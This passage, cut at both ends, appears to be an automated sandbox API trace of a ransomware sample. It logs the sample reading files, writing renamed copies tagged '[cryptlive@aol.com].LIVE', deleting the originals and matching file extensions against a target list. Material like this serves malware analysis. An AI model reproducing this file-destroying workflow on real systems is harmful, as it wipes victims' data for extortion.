(in: hFile=0x1a8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0040.366] SetEndOfFile (hFile=0x1a8) returned 1 [0040.367] CloseHandle (hObject=0x1a8) returned 1 [0040.367] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.367] SetEndOfFile (hFile=0x1ac) returned 1 [0040.368] CloseHandle (hObject=0x1ac) returned 1 [0040.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0040.368] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0040.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0040.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0040.369] lstrlenW (lpString=".doc") returned 4 [0040.369] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0040.369] lstrlenW (lpString=".docx") returned 5 [0040.369] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0040.369] lstrlenW (lpString=".pdf") returned 4 [0040.369] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0040.369] lstrlenW (lpString=".xls") returned 4 [0040.369] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0040.369] lstrlenW (lpString=".xlsx") returned 5 [0040.369] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0040.369] lstrlenW (lpString=".ppt") returned 4 [0040.369] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0040.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0040.369] lstrlenW (lpString=".zip") returned 4 [0040.369] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0040.369] lstrlenW (lpString=".rar") returned 4 [0040.369] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0040.369] lstrlenW (lpString=".bz2") returned 4 [0040.369] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0040.369] lstrlenW (lpString=".7z") returned 3 [0040.369] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0040.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0040.369] lstrlenW (lpString=".dbf") returned 4 [0040.369] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0040.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0040.369] lstrlenW (lpString=".1cd") returned 4 [0040.370] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0040.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0040.370] lstrlenW (lpString=".jpg") returned 4 [0040.370] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0040.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0040.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0040.370] lstrlenW (lpString=".doc") returned 4 [0040.370] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0040.370] lstrlenW (lpString=".docx") returned 5 [0040.370] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0040.370] lstrlenW (lpString=".pdf") returned 4 [0040.370] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0040.370] lstrlenW (lpString=".xls") returned 4 [0040.370] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0040.370] lstrlenW (lpString=".xlsx") returned 5 [0040.370] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0040.370] lstrlenW (lpString=".ppt") returned 4 [0040.370] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0040.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0040.370] lstrlenW (lpString=".zip") returned 4 [0040.370] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0040.370] lstrlenW (lpString=".rar") returned 4 [0040.370] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0040.370] lstrlenW (lpString=".bz2") returned 4 [0040.370] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0040.370] lstrlenW (lpString=".7z") returned 3 [0040.370] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0040.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0040.370] lstrlenW (lpString=".dbf") returned 4 [0040.370] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0040.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0040.371] lstrlenW (lpString=".1cd") returned 4 [0040.371] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0040.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0040.371] lstrlenW (lpString=".jpg") returned 4 [0040.371] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0040.371] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0040.371] lstrlenW (lpString="MS.JPG") returned 6 [0040.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.864] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1061) returned 1 [0040.868] CloseHandle (hObject=0x1b0) returned 1 [0040.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0040.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.893] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.893] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0040.894] GetLastError () returned 0x0 [0040.894] ReadFile (in: hFile=0x1b0, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x425, lpOverlapped=0x0) returned 1 [0040.895] WriteFile (in: hFile=0x1b4, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x430, lpOverlapped=0x0) returned 1 [0040.896] ReadFile (in: hFile=0x1b0, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.896] WriteFile (in: hFile=0x1b4, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0040.896] SetEndOfFile (hFile=0x1b4) returned 1 [0040.896] CloseHandle (hObject=0x1b4) returned 1 [0040.897] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.897] SetEndOfFile (hFile=0x1b0) returned 1 [0040.898] CloseHandle (hObject=0x1b0) returned 1 [0040.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0040.898] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0040.899] lstrlenW (lpString=".doc") returned 4 [0040.899] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0040.899] lstrlenW (lpString=".docx") returned 5 [0040.899] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0040.899] lstrlenW (lpString=".pdf") returned 4 [0040.899] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0040.899] lstrlenW (lpString=".xls") returned 4 [0040.899] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0040.899] lstrlenW (lpString=".xlsx") returned 5 [0040.899] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0040.899] lstrlenW (lpString=".ppt") returned 4 [0040.899] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0040.899] lstrlenW (lpString=".zip") returned 4 [0040.899] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0040.899] lstrlenW (lpString=".rar") returned 4 [0040.899] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0040.899] lstrlenW (lpString=".bz2") returned 4 [0040.899] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0040.899] lstrlenW (lpString=".7z") returned 3 [0040.899] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0040.899] lstrlenW (lpString=".dbf") returned 4 [0040.899] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0040.899] lstrlenW (lpString=".1cd") returned 4 [0040.899] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0040.899] lstrlenW (lpString=".jpg") returned 4 [0040.899] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0040.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0040.900] lstrlenW (lpString=".doc") returned 4 [0040.900] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0040.900] lstrlenW (lpString=".docx") returned 5 [0040.900] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0040.900] lstrlenW (lpString=".pdf") returned 4 [0040.900] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0040.900] lstrlenW (lpString=".xls") returned 4 [0040.900] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0040.900] lstrlenW (lpString=".xlsx") returned 5 [0040.900] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0040.900] lstrlenW (lpString=".ppt") returned 4 [0040.900] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0040.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0040.900] lstrlenW (lpString=".zip") returned 4 [0040.900] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0040.900] lstrlenW (lpString=".rar") returned 4 [0040.900] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0040.900] lstrlenW (lpString=".bz2") returned 4 [0040.900] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0040.900] lstrlenW (lpString=".7z") returned 3 [0040.900] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0040.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0040.900] lstrlenW (lpString=".dbf") returned 4 [0040.900] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0040.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0040.900] lstrlenW (lpString=".1cd") returned 4 [0040.900] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0040.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0040.900] lstrlenW (lpString=".jpg") returned 4 [0040.900] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0040.900] lstrcmpiW (lpString1=".dat", lpString2=".LIVE") returned -1 [0040.900] lstrlenW (lpString="hwrenclm.dat") returned 12 [0040.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0041.956] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=815680) returned 1 [0041.956] CloseHandle (hObject=0x1b0) returned 1 [0041.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0041.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0042.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0042.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0042.545] lstrlenW (lpString=".doc") returned 4 [0042.545] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0042.545] lstrlenW (lpString=".docx") returned 5 [0042.545] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0042.545] lstrlenW (lpString=".pdf") returned 4 [0042.545] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0042.545] lstrlenW (lpString=".xls") returned 4 [0042.545] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0042.545] lstrlenW (lpString=".xlsx") returned 5 [0042.546] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0042.546] lstrlenW (lpString=".ppt") returned 4 [0042.546] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0042.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0042.546] lstrlenW (lpString=".zip") returned 4 [0042.546] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0042.546] lstrlenW (lpString=".rar") returned 4 [0042.546] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0042.546] lstrlenW (lpString=".bz2") returned 4 [0042.546] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0042.546] lstrlenW (lpString=".7z") returned 3 [0042.546] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0042.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0042.546] lstrlenW (lpString=".dbf") returned 4 [0042.546] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0042.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0042.546] lstrlenW (lpString=".1cd") returned 4 [0042.546] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0042.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0042.546] lstrlenW (lpString=".jpg") returned 4 [0042.546] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0042.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0042.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0042.546] lstrlenW (lpString=".doc") returned 4 [0042.546] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0042.546] lstrlenW (lpString=".docx") returned 5 [0042.546] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0042.546] lstrlenW (lpString=".pdf") returned 4 [0042.546] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0042.546] lstrlenW (lpString=".xls") returned 4 [0042.546] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0042.546] lstrlenW (lpString=".xlsx") returned 5 [0042.546] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0042.546] lstrlenW (lpString=".ppt") returned 4 [0042.547] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0042.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0042.547] lstrlenW (lpString=".zip") returned 4 [0042.547] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0042.547] lstrlenW (lpString=".rar") returned 4 [0042.547] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0042.547] lstrlenW (lpString=".bz2") returned 4 [0042.547] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0042.547] lstrlenW (lpString=".7z") returned 3 [0042.547] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0042.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0042.547] lstrlenW (lpString=".dbf") returned 4 [0042.547] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0042.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0042.547] lstrlenW (lpString=".1cd") returned 4 [0042.547] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0042.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0042.547] lstrlenW (lpString=".jpg") returned 4 [0042.547] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0042.547] lstrcmpiW (lpString1=".dat", lpString2=".LIVE") returned -1 [0042.547] lstrlenW (lpString="hwruksh.dat") returned 11 [0042.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0043.870] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2227968) returned 1 [0043.870] CloseHandle (hObject=0x1e0) returned 1 [0043.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0043.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0043.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0043.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0043.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0043.870] lstrlenW (lpString=".doc") returned 4 [0043.870] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0043.871] lstrlenW (lpString=".docx") returned 5 [0043.871] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0043.871] lstrlenW (lpString=".pdf") returned 4 [0043.871] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0043.871] lstrlenW (lpString=".xls") returned 4 [0043.871] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0043.871] lstrlenW (lpString=".xlsx") returned 5 [0043.871] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0043.871] lstrlenW (lpString=".ppt") returned 4 [0043.871] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0043.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0043.871] lstrlenW (lpString=".zip") returned 4 [0043.871] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0043.871] lstrlenW (lpString=".rar") returned 4 [0043.871] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0043.871] lstrlenW (lpString=".bz2") returned 4 [0043.871] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0043.871] lstrlenW (lpString=".7z") returned 3 [0043.871] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0043.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0043.871] lstrlenW (lpString=".dbf") returned 4 [0043.871] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0043.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0043.871] lstrlenW (lpString=".1cd") returned 4 [0043.871] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0043.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0043.871] lstrlenW (lpString=".jpg") returned 4 [0043.871] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0043.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0043.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0043.871] lstrlenW (lpString=".doc") returned 4 [0043.871] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0043.871] lstrlenW (lpString=".docx") returned 5 [0043.871] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0043.871] lstrlenW (lpString=".pdf") returned 4 [0043.872] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0043.872] lstrlenW (lpString=".xls") returned 4 [0043.872] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0043.872] lstrlenW (lpString=".xlsx") returned 5 [0043.872] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0043.872] lstrlenW (lpString=".ppt") returned 4 [0043.872] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0043.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0043.872] lstrlenW (lpString=".zip") returned 4 [0043.872] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0043.872] lstrlenW (lpString=".rar") returned 4 [0043.872] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0043.872] lstrlenW (lpString=".bz2") returned 4 [0043.872] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0043.872] lstrlenW (lpString=".7z") returned 3 [0043.872] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0043.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0043.872] lstrlenW (lpString=".dbf") returned 4 [0043.872] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0043.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0043.872] lstrlenW (lpString=".1cd") returned 4 [0043.872] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0043.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0043.872] lstrlenW (lpString=".jpg") returned 4 [0043.872] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0043.872] lstrcmpiW (lpString1=".HTM", lpString2=".LIVE") returned -1 [0043.872] lstrlenW (lpString="README.HTM") returned 10 [0043.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0044.175] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1941) returned 1 [0044.175] CloseHandle (hObject=0x180) returned 1 [0044.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0044.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common 